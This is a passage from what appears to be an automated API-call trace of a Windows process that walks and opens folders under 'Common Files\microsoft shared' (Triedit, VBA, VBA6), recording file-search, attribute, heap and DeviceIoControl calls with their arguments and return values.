ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.250] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 1 [0087.250] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe422fc00, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xd6e585c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe422fc00, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x124ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wkconv.exe", cAlternateFileName="")) returned 0 [0087.250] GetLastError () returned 0x12 [0087.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.250] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.250] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e32460, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd6e32460, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6e32460, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WksConv", cAlternateFileName="")) returned 0 [0087.251] GetLastError () returned 0x12 [0087.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.251] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.251] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0087.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.252] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.252] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.252] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.253] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.253] NtClose (Handle=0x124) returned 0x0 [0087.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.254] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0087.254] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.254] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.254] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.254] GetLastError () returned 0x12 [0087.254] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.254] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.254] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea40f84, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.254] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0087.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.255] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0087.255] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.256] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.256] NtClose (Handle=0x124) returned 0x0 [0087.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13029c8 [0087.257] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0087.257] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.257] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.258] GetLastError () returned 0x12 [0087.258] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0087.258] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0087.258] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.258] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.258] GetLastError () returned 0x12 [0087.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13029c8) returned 1 [0087.258] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0087.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124caf0) returned 1 [0087.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1303310) returned 1 [0087.259] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x228ba44f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea40f84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0087.259] GetLastError () returned 0x12 [0087.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d040) returned 1 [0087.259] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0087.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.259] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1 [0087.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.260] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.261] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0087.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.261] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0087.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.261] NtClose (Handle=0x16c) returned 0x0 [0087.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c9e0) returned 1 [0087.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c9e0 [0087.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d040 [0087.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124caf0 [0087.262] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9100 [0087.262] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.262] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 1 [0087.262] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 0 [0087.263] GetLastError () returned 0x12 [0087.263] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0087.263] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0087.263] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.263] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA6", cAlternateFileName="")) returned 1 [0087.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.263] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0087.263] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\vba\\vba6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0087.263] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0087.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1322698 [0087.264] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1322698, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1322698, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0087.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1322698) returned 1 [0087.264] NtClose (Handle=0x16c) returned 0x0 [0087.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d150) returned 1 [0087.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d150 [0087.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d1d8 [0087.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d370 [0087.265] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\VBA\\VBA6\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9100 [0087.265] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec355540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.265] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE6EXT.OLB", cAlternateFileName="")) returned 1 [0087.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.266] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124d3f8 [0087.266] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0087.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d1d8) returned 1 [0087.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bb928 [0087.267] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1303310 [0087.267] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124d3f8) returned 1 [0087.267] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, 